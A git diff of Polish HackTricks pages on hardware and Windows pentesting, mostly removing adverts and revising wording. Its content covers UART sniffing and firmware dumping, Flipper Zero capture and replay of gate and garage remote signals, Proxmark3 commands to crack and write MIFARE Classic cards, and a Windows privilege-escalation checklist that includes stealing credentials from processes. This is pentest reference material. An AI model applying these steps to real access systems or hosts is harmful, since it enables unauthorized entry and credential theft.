||||
Arduino UNO R3 ma wbudowany adapter USB do Serial na samej płycie. Aby uzyskać połączenie UART, wystarczy wyjąć chip mikrokontrolera Atmel 328p z płyty. Ten hack działa na wariantach Arduino UNO R3, które mają Atmel 328p niewlutowany na płycie (używana jest wersja SMD). Podłącz pin RX Arduino (pin cyfrowy 0) do pinu TX interfejsu UART i pin TX Arduino (pin cyfrowy 1) do pinu RX interfejsu UART.
|
||||
Arduino UNO R3 ma wbudowany adapter USB do Serial na samej płycie. Aby uzyskać połączenie UART, wystarczy wyjąć chip mikrokontrolera Atmel 328p z płyty. Ten hack działa na wariantach Arduino UNO R3, które mają Atmel 328p niewlutowany na płycie (używana jest wersja SMD). Podłącz pin RX Arduino (Pin Cyfrowy 0) do pinu TX interfejsu UART i pin TX Arduino (Pin Cyfrowy 1) do pinu RX interfejsu UART.
|
||||
|
||||
Na koniec zaleca się użycie Arduino IDE, aby uzyskać konsolę szeregową. W sekcji `tools` w menu wybierz opcję `Serial Console` i ustaw prędkość baud zgodnie z interfejsem UART.
|
||||
|
||||
## Bus Pirate
|
||||
|
||||
W tym scenariuszu zamierzamy podsłuchiwać komunikację UART Arduino, które wysyła wszystkie wydruki programu do monitora szeregowego.
|
||||
W tym scenariuszu zamierzamy podsłuchiwać komunikację UART Arduino, które wysyła wszystkie wydruki programu do Monitorowania Szeregowego.
|
||||
```bash
|
||||
# Check the modes
|
||||
UART>m
|
||||
|
@ -174,7 +161,7 @@ waiting a few secs to repeat....
|
|||
```
|
||||
## Dumping Firmware with UART Console
|
||||
|
||||
UART Console zapewnia doskonały sposób na pracę z podstawowym oprogramowaniem w środowisku czasu rzeczywistego. Jednak gdy dostęp do UART Console jest tylko do odczytu, może to wprowadzać wiele ograniczeń. W wielu urządzeniach wbudowanych oprogramowanie jest przechowywane w EEPROM i wykonywane w procesorach, które mają pamięć ulotną. Dlatego oprogramowanie jest utrzymywane w trybie tylko do odczytu, ponieważ oryginalne oprogramowanie podczas produkcji znajduje się w samym EEPROM, a wszelkie nowe pliki mogłyby zostać utracone z powodu pamięci ulotnej. Dlatego zrzut oprogramowania jest cennym wysiłkiem podczas pracy z wbudowanymi oprogramowaniami.
|
||||
UART Console zapewnia doskonały sposób na pracę z podstawowym oprogramowaniem w środowisku uruchomieniowym. Jednak gdy dostęp do UART Console jest tylko do odczytu, może to wprowadzać wiele ograniczeń. W wielu urządzeniach wbudowanych oprogramowanie jest przechowywane w EEPROM i wykonywane w procesorach, które mają pamięć ulotną. Dlatego oprogramowanie jest utrzymywane w trybie tylko do odczytu, ponieważ oryginalne oprogramowanie podczas produkcji znajduje się wewnątrz EEPROM, a wszelkie nowe pliki mogłyby zostać utracone z powodu pamięci ulotnej. Dlatego zrzut oprogramowania jest cennym wysiłkiem podczas pracy z wbudowanymi oprogramowaniami.
|
||||
|
||||
Istnieje wiele sposobów, aby to zrobić, a sekcja SPI obejmuje metody ekstrakcji oprogramowania bezpośrednio z EEPROM za pomocą różnych urządzeń. Chociaż zaleca się najpierw spróbować zrzutu oprogramowania za pomocą UART, ponieważ zrzut oprogramowania za pomocą urządzeń fizycznych i interakcji zewnętrznych może być ryzykowny.
|
||||
|
||||
|
@ -198,29 +185,17 @@ To będzie lista możliwych zawartości z EEPROM zgodnie z podpisami znalezionym
|
|||
|
||||
Należy jednak zauważyć, że nie zawsze uboot jest odblokowany, nawet jeśli jest używany. Jeśli klawisz Enter nie działa, sprawdź inne klawisze, takie jak klawisz Spacji itp. Jeśli bootloader jest zablokowany i nie zostanie przerwany, ta metoda nie zadziała. Aby sprawdzić, czy uboot jest bootloaderem dla urządzenia, sprawdź wyjście na konsoli UART podczas uruchamiania urządzenia. Może wspominać o uboot podczas uruchamiania.
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany przez **dark-web**, który oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -10,19 +10,11 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Grupa Try Hard Security**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
Z [**Flipper Zero**](https://flipperzero.one/) możesz:
|
||||
|
||||
* **Słuchać/Przechwytywać/Odtwarzać częstotliwości radiowe:** [**Sub-GHz**](fz-sub-ghz.md)
|
||||
|
@ -36,12 +28,6 @@ Z [**Flipper Zero**](https://flipperzero.one/) możesz:
|
|||
|
||||
**Inne zasoby Flipper Zero w** [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero)
|
||||
|
||||
**Grupa Try Hard Security**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -52,7 +38,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,17 +15,10 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Wprowadzenie <a href="#kfpn7" id="kfpn7"></a>
|
||||
|
||||
Flipper Zero może **odbierać i transmitować częstotliwości radiowe w zakresie 300-928 MHz** dzięki wbudowanemu modułowi, który może odczytywać, zapisywać i emulować piloty. Te piloty są używane do interakcji z bramami, barierami, zamkami radiowymi, przełącznikami zdalnego sterowania, bezprzewodowymi dzwonkami, inteligentnymi światłami i innymi. Flipper Zero może pomóc Ci dowiedzieć się, czy Twoje bezpieczeństwo zostało naruszone.
|
||||
Flipper Zero może **odbierać i transmitować częstotliwości radiowe w zakresie 300-928 MHz** dzięki wbudowanemu modułowi, który może odczytywać, zapisywać i emulować piloty. Te piloty są używane do interakcji z bramami, barierami, zamkami radiowymi, przełącznikami zdalnego sterowania, bezprzewodowymi dzwonkami, inteligentnymi światłami i innymi. Flipper Zero może pomóc Ci dowiedzieć się, czy Twoje bezpieczeństwo jest zagrożone.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (714).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -60,7 +53,7 @@ Znajdź informacje o używanej częstotliwości (to także inny sposób na znale
|
|||
|
||||
Opcja **Odczyt** **nasłuchuje na skonfigurowanej częstotliwości** na wskazanej modulacji: 433.92 AM domyślnie. Jeśli **coś zostanie znalezione** podczas odczytu, **informacje są podawane** na ekranie. Te informacje mogą być użyte do replikacji sygnału w przyszłości.
|
||||
|
||||
Podczas korzystania z Odczytu można nacisnąć **lewy przycisk** i **skonfigurować go**.\
|
||||
Podczas korzystania z Odczytu, można nacisnąć **lewy przycisk** i **skonfigurować go**.\
|
||||
W tym momencie ma **4 modulacje** (AM270, AM650, FM328 i FM476) oraz **kilka istotnych częstotliwości** zapisanych:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (947).png" alt=""><figcaption></figcaption></figure>
|
||||
|
@ -93,22 +86,22 @@ Dodaj sygnały z skonfigurowanej listy protokołów
|
|||
|
||||
#### Lista [obsługiwanych protokołów](https://docs.flipperzero.one/sub-ghz/add-new-remote) <a href="#id-3iglu" id="id-3iglu"></a>
|
||||
|
||||
| Princeton\_433 (działa z większością systemów statycznych) | 433.92 | Statyczny |
|
||||
| ---------------------------------------------------------- | ------ | --------- |
|
||||
| Nice Flo 12bit\_433 | 433.92 | Statyczny |
|
||||
| Nice Flo 24bit\_433 | 433.92 | Statyczny |
|
||||
| CAME 12bit\_433 | 433.92 | Statyczny |
|
||||
| CAME 24bit\_433 | 433.92 | Statyczny |
|
||||
| Linear\_300 | 300.00 | Statyczny |
|
||||
| CAME TWEE | 433.92 | Statyczny |
|
||||
| Gate TX\_433 | 433.92 | Statyczny |
|
||||
| DoorHan\_315 | 315.00 | Dynamiczny |
|
||||
| DoorHan\_433 | 433.92 | Dynamiczny |
|
||||
| LiftMaster\_315 | 315.00 | Dynamiczny |
|
||||
| LiftMaster\_390 | 390.00 | Dynamiczny |
|
||||
| Security+2.0\_310 | 310.00 | Dynamiczny |
|
||||
| Security+2.0\_315 | 315.00 | Dynamiczny |
|
||||
| Security+2.0\_390 | 390.00 | Dynamiczny |
|
||||
| Princeton\_433 (działa z większością systemów kodów statycznych) | 433.92 | Statyczny |
|
||||
| --------------------------------------------------------------- | ------ | ------- |
|
||||
| Nice Flo 12bit\_433 | 433.92 | Statyczny |
|
||||
| Nice Flo 24bit\_433 | 433.92 | Statyczny |
|
||||
| CAME 12bit\_433 | 433.92 | Statyczny |
|
||||
| CAME 24bit\_433 | 433.92 | Statyczny |
|
||||
| Linear\_300 | 300.00 | Statyczny |
|
||||
| CAME TWEE | 433.92 | Statyczny |
|
||||
| Gate TX\_433 | 433.92 | Statyczny |
|
||||
| DoorHan\_315 | 315.00 | Dynamiczny |
|
||||
| DoorHan\_433 | 433.92 | Dynamiczny |
|
||||
| LiftMaster\_315 | 315.00 | Dynamiczny |
|
||||
| LiftMaster\_390 | 390.00 | Dynamiczny |
|
||||
| Security+2.0\_310 | 310.00 | Dynamiczny |
|
||||
| Security+2.0\_315 | 315.00 | Dynamiczny |
|
||||
| Security+2.0\_390 | 390.00 | Dynamiczny |
|
||||
|
||||
### Obsługiwani dostawcy Sub-GHz
|
||||
|
||||
|
@ -128,12 +121,6 @@ Uzyskaj dBms zapisanych częstotliwości
|
|||
|
||||
* [https://docs.flipperzero.one/sub-ghz](https://docs.flipperzero.one/sub-ghz)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,21 +15,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Atakowanie systemów RFID za pomocą Proxmark3
|
||||
|
||||
Pierwszą rzeczą, którą musisz zrobić, to mieć [**Proxmark3**](https://proxmark.com) i [**zainstalować oprogramowanie i jego zależności**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
|
||||
Pierwszą rzeczą, którą musisz zrobić, to mieć [**Proxmark3**](https://proxmark.com) i [**zainstalować oprogramowanie oraz jego zależności**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
|
||||
|
||||
### Atakowanie MIFARE Classic 1KB
|
||||
|
||||
Ma **16 sektorów**, z których każdy ma **4 bloki**, a każdy blok zawiera **16B**. UID znajduje się w sektorze 0 bloku 0 (i nie można go zmienić).\
|
||||
Ma **16 sektorów**, z których każdy ma **4 bloki**, a każdy blok zawiera **16B**. UID znajduje się w sektorze 0, bloku 0 (i nie może być zmieniany).\
|
||||
Aby uzyskać dostęp do każdego sektora, potrzebujesz **2 kluczy** (**A** i **B**), które są przechowywane w **bloku 3 każdego sektora** (trailer sektora). Trailer sektora przechowuje również **bity dostępu**, które dają **uprawnienia do odczytu i zapisu** na **każdym bloku** przy użyciu 2 kluczy.\
|
||||
2 klucze są przydatne do nadawania uprawnień do odczytu, jeśli znasz pierwszy, i zapisu, jeśli znasz drugi (na przykład).
|
||||
|
||||
|
@ -52,7 +44,7 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to
|
|||
proxmark3> hf mf eget 01 # Read block 1
|
||||
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
|
||||
```
|
||||
Proxmark3 pozwala na wykonywanie innych działań, takich jak **podsłuchiwanie** komunikacji **Tag do Czytnika**, aby spróbować znaleźć wrażliwe dane. W tej karcie możesz po prostu podsłuchiwać komunikację i obliczyć używany klucz, ponieważ **operacje kryptograficzne są słabe**, a znając tekst jawny i szyfrowany, możesz go obliczyć (narzędzie `mfkey64`).
|
||||
Proxmark3 pozwala na wykonywanie innych działań, takich jak **podsłuchiwanie** komunikacji **Tag do Czytnika**, aby spróbować znaleźć wrażliwe dane. W tej karcie możesz po prostu przechwycić komunikację i obliczyć używany klucz, ponieważ **operacje kryptograficzne są słabe**, a znając tekst jawny i szyfrowany, możesz go obliczyć (narzędzie `mfkey64`).
|
||||
|
||||
### Surowe Komendy
|
||||
|
||||
|
@ -76,13 +68,6 @@ proxmark3> script run mfkeys
|
|||
```
|
||||
Możesz stworzyć skrypt do **fuzz tag readers**, więc kopiując dane z **ważnej karty**, wystarczy napisać **skrypt Lua**, który **losuje** jeden lub więcej losowych **bajtów** i sprawdza, czy **czytnik się zawiesza** przy jakiejkolwiek iteracji.
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -92,7 +77,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,20 +9,12 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Grupa Try Hard Security**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### **Najlepsze narzędzie do wyszukiwania wektorów eskalacji uprawnień lokalnych w systemie Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
|
||||
### [Informacje o systemie](windows-local-privilege-escalation/#system-info)
|
||||
|
@ -44,7 +36,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
* [ ] Sprawdź [**LAPS**](windows-local-privilege-escalation/#laps)
|
||||
* [ ] Sprawdź, czy [**WDigest**](windows-local-privilege-escalation/#wdigest) jest aktywny
|
||||
* [ ] [**Ochrona LSA**](windows-local-privilege-escalation/#lsa-protection)?
|
||||
* [ ] [**Credentials Guard**](windows-local-privilege-escalation/#credentials-guard)[?](windows-local-privilege-escalation/#cached-credentials)
|
||||
* [ ] [**Guard Credentials**](windows-local-privilege-escalation/#credentials-guard)[?](windows-local-privilege-escalation/#cached-credentials)
|
||||
* [ ] [**Zapisane poświadczenia**](windows-local-privilege-escalation/#cached-credentials)?
|
||||
* [ ] Sprawdź, czy jakikolwiek [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)
|
||||
* [ ] [**Polityka AppLocker**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)?
|
||||
|
@ -54,7 +46,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
* [ ] Czy jesteś [**członkiem jakiejkolwiek grupy z uprawnieniami**](windows-local-privilege-escalation/#privileged-groups)?
|
||||
* [ ] Sprawdź, czy masz [jakiekolwiek z tych tokenów włączonych](windows-local-privilege-escalation/#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
|
||||
* [ ] [**Sesje użytkowników**](windows-local-privilege-escalation/#logged-users-sessions)?
|
||||
* [ ] Sprawdź [**domy** użytkowników](windows-local-privilege-escalation/#home-folders) (dostęp?)
|
||||
* [ ] Sprawdź [**domy użytkowników**](windows-local-privilege-escalation/#home-folders) (dostęp?)
|
||||
* [ ] Sprawdź [**Politykę haseł**](windows-local-privilege-escalation/#password-policy)
|
||||
* [ ] Co jest [**w schowku**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard)?
|
||||
|
||||
|
@ -63,9 +55,9 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
* [ ] Sprawdź **aktualne** [**informacje o sieci**](windows-local-privilege-escalation/#network)
|
||||
* [ ] Sprawdź **ukryte lokalne usługi** ograniczone do zewnątrz
|
||||
|
||||
### [Uruchamiane procesy](windows-local-privilege-escalation/#running-processes)
|
||||
### [Uruchomione procesy](windows-local-privilege-escalation/#running-processes)
|
||||
|
||||
* [ ] Uprawnienia [**plików i folderów procesów**](windows-local-privilege-escalation/#file-and-folder-permissions)
|
||||
* [ ] Uprawnienia [**plików i folderów binariów procesów**](windows-local-privilege-escalation/#file-and-folder-permissions)
|
||||
* [ ] [**Wydobywanie haseł z pamięci**](windows-local-privilege-escalation/#memory-password-mining)
|
||||
* [ ] [**Niebezpieczne aplikacje GUI**](windows-local-privilege-escalation/#insecure-gui-apps)
|
||||
* [ ] Kradnij poświadczenia z **interesujących procesów** za pomocą `ProcDump.exe` ? (firefox, chrome, itd...)
|
||||
|
@ -73,7 +65,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
### [Usługi](windows-local-privilege-escalation/#services)
|
||||
|
||||
* [ ] [Czy możesz **zmodyfikować jakąkolwiek usługę**?](windows-local-privilege-escalation/#permissions)
|
||||
* [ ] [Czy możesz **zmodyfikować** **plik binarny**, który jest **wykonywany** przez jakąkolwiek **usługę**?](windows-local-privilege-escalation/#modify-service-binary-path)
|
||||
* [ ] [Czy możesz **zmodyfikować** **binarne** pliki, które są **wykonywane** przez jakąkolwiek **usługę**?](windows-local-privilege-escalation/#modify-service-binary-path)
|
||||
* [ ] [Czy możesz **zmodyfikować** **rejestr** jakiejkolwiek **usługi**?](windows-local-privilege-escalation/#services-registry-modify-permissions)
|
||||
* [ ] [Czy możesz skorzystać z jakiejkolwiek **niecytowanej ścieżki binarnej usługi**?](windows-local-privilege-escalation/#unquoted-service-paths)
|
||||
|
||||
|
@ -108,7 +100,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
### [Pliki i rejestr (Poświadczenia)](windows-local-privilege-escalation/#files-and-registry-credentials)
|
||||
|
||||
* [ ] **Putty:** [**Poświadczenia**](windows-local-privilege-escalation/#putty-creds) **i** [**klucze hosta SSH**](windows-local-privilege-escalation/#putty-ssh-host-keys)
|
||||
* [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/#putty-creds) **i** [**klucze hosta SSH**](windows-local-privilege-escalation/#putty-ssh-host-keys)
|
||||
* [ ] [**Klucze SSH w rejestrze**](windows-local-privilege-escalation/#ssh-keys-in-registry)?
|
||||
* [ ] Hasła w [**plikach bezobsługowych**](windows-local-privilege-escalation/#unattended-files)?
|
||||
* [ ] Jakiekolwiek [**kopie zapasowe SAM & SYSTEM**](windows-local-privilege-escalation/#sam-and-system-backups)?
|
||||
|
@ -124,20 +116,14 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
* [ ] [**Ogólne wyszukiwanie haseł**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) w plikach i rejestrze
|
||||
* [ ] [**Narzędzia**](windows-local-privilege-escalation/#tools-that-search-for-passwords) do automatycznego wyszukiwania haseł
|
||||
|
||||
### [Wyciekające handlerzy](windows-local-privilege-escalation/#leaked-handlers)
|
||||
### [Wyciekające uchwyty](windows-local-privilege-escalation/#leaked-handlers)
|
||||
|
||||
* [ ] Czy masz dostęp do jakiegokolwiek handlera procesu uruchomionego przez administratora?
|
||||
* [ ] Czy masz dostęp do jakiegokolwiek uchwytu procesu uruchomionego przez administratora?
|
||||
|
||||
### [Impersonacja klienta Pipe](windows-local-privilege-escalation/#named-pipe-client-impersonation)
|
||||
|
||||
* [ ] Sprawdź, czy możesz to wykorzystać
|
||||
|
||||
**Grupa Try Hard Security**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
